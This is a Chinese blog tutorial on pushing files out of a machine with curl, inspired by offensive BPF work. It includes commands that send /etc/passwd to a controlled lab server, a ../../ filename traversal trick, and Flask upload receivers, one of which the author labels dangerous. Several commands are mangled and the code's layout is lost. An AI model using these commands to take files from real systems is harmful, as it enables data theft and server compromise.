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标题: WEB系列(58)--用curl向外传送文件

创建: 2022-10-17 12:06 更新: 2022-10-19 08:50 链接: https://scz.617.cn/python/202210171206.txt

目录:

☆ 背景介绍
☆ curl -F
    1) "curl -F"所发数据
    2) SimpleHTTPServer.py
    3) SimpleHTTPServer_mini.py
    4) SimpleHTTPClient.py
☆ curl --data-binary
    1) "curl --data-binary"所发数据
    2) SimpleHTTPServer_d.py
    3) SimpleHTTPServer_d_mini.py
    4) SimpleHTTPClient_d.py
☆ 小结
☆ 参考资源

☆ 背景介绍

有时可能碰上用curl向外传送文件的需求，不考虑客户端有nc、perl或其他什么在场 的情形，只有全功能curl在场，假设服务端可达、可控。这不是正经需求，我是正经 人，所以一直没有碰上过，最近看Offensive BPF时有碰上，临时折腾一下。

☆ curl -F

1) "curl -F"所发数据

在客户端执行

cd /tmp cp /etc/passwd /tmp/some.txt curl -F "[email protected]" -F "user=any" http://192.168.95.21:8080/upload

在服务端执行

nc -ln 192.168.95.21 8080 > raw.txt

raw.txt即"curl -F"发送出去的原始数据，如下

POST /upload HTTP/1.1 Host: 192.168.95.21:8080 User-Agent: curl/7.81.0 Accept: / Content-Length: 3132 Content-Type: multipart/form-data; boundary=------------------------f3b2ed96520ef46e

--------------------------f3b2ed96520ef46e Content-Disposition: form-data; name="file"; filename="some.txt" Content-Type: text/plain

root:x:0:0:root:/root:/bin/bash ... sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

--------------------------f3b2ed96520ef46e Content-Disposition: form-data; name="user"

any --------------------------f3b2ed96520ef46e--

网友「梦里的奇妙冒险」指出，如下命令可指定Content-Disposition中filename字 段，使之包含../而不normalize它。

curl -F "[email protected];filename=../../some.txt" -F "user=any" http://192.168.95.21:8080/upload

看man手册，还可指定Content-Type，而非自动识别(本例是text/plain)

curl -F "[email protected];filename=../../some.txt;type=application/octet-stream" -F "user=any" http://192.168.95.21:8080/upload

起初我没去找curl指定filename字段的原生方案，当时用了个歪招，修改raw.txt中 filename，同步修改Content-Length为3138，再用nc发送raw_new.txt。

nc -n 192.168.95.21 8080 < raw_new.txt

在Windows上修改raw_new.txt，用记事本吧。顺便说一句，nc有个开关"-C"，使得发 送CRLF，缺省发送LF。

无需filename包含../，只是测试Python版服务端能否规范化filename。"user=any" 无需出现，仅为演示。

2) SimpleHTTPServer.py

下面是配套Python版服务端，接收"curl -F"传过来的文件，支持二进制文件，限制 了文件大小、扩展名、存放目录。

! /usr/bin/env python3

-- encoding: utf-8 --

cd /tmp

mkdir /tmp/upload

python3 SimpleHTTPServer.py 192.168.95.21 8080

import sys, os import flask import werkzeug

app = flask.Flask(name)

不允许超过1MB，否则向客户端返回413错，会自动检查

413 Request Entity Too Large

The data value transmitted exceeds the capacity limit.

app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024 app.config['UPLOAD_FOLDER'] = '/tmp/upload'

只允许这些扩展名

app.config['ALLOWED_EXTENSIONS'] = { 'txt', 'bin', 'jpg' }

def checkext ( filename ) : return '.' in filename and filename.rsplit( '.', 1 )[1] in app.config['ALLOWED_EXTENSIONS']

非必须

@app.route( "/" ) def root () : return 'SimpleHTTPServer is online.'

函数名任意

@app.route( "/upload", methods=["POST"] ) def upload () : while True : try : file = flask.request.files['file'] filename = file.filename print( filename ) # # 不会自动检查app.config['ALLOWED_EXTENSIONS']，只能手工检查 # if not checkext( filename ) : ret = 'Unsupported ext' break # # 消掉../ # filename = werkzeug.utils.secure_filename( filename ) print( filename ) filename = os.path.join( app.config['UPLOAD_FOLDER'], filename ) print( filename ) user = flask.request.form.get( 'user', 'unknown' ) file.save( filename ) ret = 'Upload succeed by ' + user except werkzeug.exceptions.BadRequestKeyError : ret = 'Not found file key' break # # end of while #

#
# 出现在HTTP响应中
#
return ret + '\n'

if name == 'main' : app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )

3) SimpleHTTPServer_mini.py

SimpleHTTPServer.py很多代码出于演示目的而存在，如追求短小精悍，可删减。

! /usr/bin/env python3

-- encoding: utf-8 --

python3 SimpleHTTPServer_mini.py 192.168.95.21 8080

curl -F "[email protected]" http://192.168.95.21:8080/upload

import sys, flask

app = flask.Flask(name)

@app.route( "/upload", methods=["POST"] ) def upload () : file = flask.request.files['file'] # # 危险！ # file.save( file.filename ) return 'Upload succeed\n'

if name == 'main' : app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )

上述代码很危险，客户端提交的filename会危害服务端安全，谨慎使用。

4) SimpleHTTPClient.py

若是富客户端，不用"curl -F"时有许多其他选择，比如

! /usr/bin/env python3

-- encoding: utf-8 --

cd /tmp

cp /usr/bin/ls /tmp/some.bin

python3 SimpleHTTPClient.py http://192.168.95.21:8080/upload some.bin

import sys, requests

url = sys.argv[1] filename = sys.argv[2]

curl -F "[email protected];filename=../../some.bin;type=application/octet-stream"

# file_info = \

{

'file' :

(

'../../' + filename,

open( filename, 'rb' ),

'application/octet-stream'

)

}

file_info = { 'file' : open( filename, 'rb' ) } other_info = { 'user' : 'any' }

除了files，还可以指定headers、cookies等

response = requests.post \ ( url, files = file_info, data = other_info ) print( response.text )

☆ curl --data-binary

1) "curl --data-binary"所发数据

在客户端执行

cd /tmp cp /etc/passwd /tmp/some.txt curl --data-binary "@some.txt" http://192.168.95.21:8080/upload

在服务端执行

nc -ln 192.168.95.21 8080 > raw_d.txt

raw_d.txt即"curl --data-binary"发送出去的原始数据，如下

POST /upload HTTP/1.1 Host: 192.168.95.21:8080 User-Agent: curl/7.81.0 Accept: / Content-Length: 2850 Content-Type: application/x-www-form-urlencoded

root:x:0:0:root:/root:/bin/bash ... sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

Content-Length精确对应some.txt的大小。application/x-www-form-urlencoded是 这种用法的缺省Content-Type，可更改。

curl --data-binary "@some.txt" -H "Content-Type: application/octet-stream" http://192.168.95.21:8080/upload

POST /upload HTTP/1.1 Host: 192.168.95.21:8080 User-Agent: curl/7.81.0 Accept: / Content-Type: application/octet-stream Content-Length: 2850

root:x:0:0:root:/root:/bin/bash ... sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

curl --data-binary "@some.txt" -H "Content-Type: application/octet-stream" -H "Filename: ../../some.txt" -H "User: any" http://192.168.95.21:8080/upload

POST /upload HTTP/1.1 Host: 192.168.95.21:8080 User-Agent: curl/7.81.0 Accept: / Content-Type: application/octet-stream Filename: ../../some.txt User: any Content-Length: 2850

root:x:0:0:root:/root:/bin/bash ... sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

无需Filename、User，仅为演示。

2) SimpleHTTPServer_d.py

下面是配套Python版服务端，接收"curl --data-binary"传过来的文件，支持二进制 文件，限制了文件大小、扩展名、存放目录。

! /usr/bin/env python3

-- encoding: utf-8 --

cd /tmp

mkdir /tmp/upload

python3 SimpleHTTPServer_d.py 192.168.95.21 8080

import sys, os, time import flask import werkzeug

app = flask.Flask(name) app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024 app.config['UPLOAD_FOLDER'] = '/tmp/upload' app.config['ALLOWED_EXTENSIONS'] = { 'txt', 'bin', 'jpg' }

def checkext ( filename ) : return '.' in filename and filename.rsplit( '.', 1 )[1] in app.config['ALLOWED_EXTENSIONS']

@app.route( "/" ) def root () : return 'SimpleHTTPServer_d is online.'

@app.route( "/upload", methods=["POST"] ) def upload () : while True : try : # # 本例只能自己检查大小 # length = flask.request.headers["Content-Length"] length = int( length, 0 ) if length > app.config['MAX_CONTENT_LENGTH'] : ret = "413 Request Entity Too Large" break # # len(data)必等于Content-Length，假设指定小Content-Length、发 # 送大data，读取时会被截断 # data = flask.request.get_data() # # filename = flask.request.headers.get( 'Filename', 'random' ) # filename = flask.request.headers.get( 'Filename' ) print( filename ) if filename is None : filename = time.strftime( '%Y%m%d%H%M%S.bin', time.localtime( time.time() ) ) else : if not checkext( filename ) : ret = 'Unsupported ext' break filename = werkzeug.utils.secure_filename( filename ) print( filename ) filename = os.path.join( app.config['UPLOAD_FOLDER'], filename ) print( filename ) user = flask.request.headers.get( 'User', 'unknown' ) with open( filename, 'wb' ) as f : f.write( data ) ret = 'Upload succeed by ' + user except KeyError : ret = 'Not found Content-Length' break # # end of while #

return ret + '\n'

if name == 'main' : app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )

3) SimpleHTTPServer_d_mini.py

SimpleHTTPServer_d.py很多代码出于演示目的而存在，如追求短小精悍，可删减。

! /usr/bin/env python3

-- encoding: utf-8 --

python3 SimpleHTTPServer_d_mini.py 192.168.95.21 8080

curl --data-binary "@some.bin" http://192.168.95.21:8080/upload

import sys, time, flask

app = flask.Flask(name)

@app.route( "/upload", methods=["POST"] ) def upload () : data = flask.request.get_data() filename = time.strftime( '%Y%m%d%H%M%S.bin', time.localtime( time.time() ) ) with open( filename, 'wb' ) as f : f.write( data ) return 'Upload succeed\n'

if name == 'main' : app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )

上述代码不存在filename的风险，但没有限制文件大小，可能消耗硬盘空间。

4) SimpleHTTPClient_d.py

若是富客户端，不用"curl --data-binary"时有许多其他选择，比如

! /usr/bin/env python3

-- encoding: utf-8 --

cd /tmp

cp /usr/bin/ls /tmp/some.bin

python3 SimpleHTTPClient_d.py http://192.168.95.21:8080/upload some.bin

import sys, requests

url = sys.argv[1] filename = sys.argv[2] headers = \ { 'Content-Type' : 'application/octet-stream', 'Filename' : filename, 'User' : 'any' } with open( filename, 'rb' ) as f : response = requests.post \ ( url, headers = headers, data = f ) print( response.text )

☆ 小结

不考虑安全风险的情况下，两种最简组合

python3 SimpleHTTPServer_mini.py 192.168.95.21 8080 curl -F "[email protected]" http://192.168.95.21:8080/upload

python3 SimpleHTTPServer_d_mini.py 192.168.95.21 8080 curl --data-binary "@some.bin" http://192.168.95.21:8080/upload

第二组在服务端用时间戳当文件名，形如"20221018122537.bin"。

"curl -T"对我来说不实用，本文不讨论。

☆ 参考资源

[1] https://flask.palletsprojects.com/en/2.2.x/ https://flask.palletsprojects.com/en/2.2.x/api/

[2] https://requests.readthedocs.io/en/latest/ https://requests.readthedocs.io/en/latest/user/quickstart/ https://requests.readthedocs.io/en/latest/api/

https://github.com/psf/requests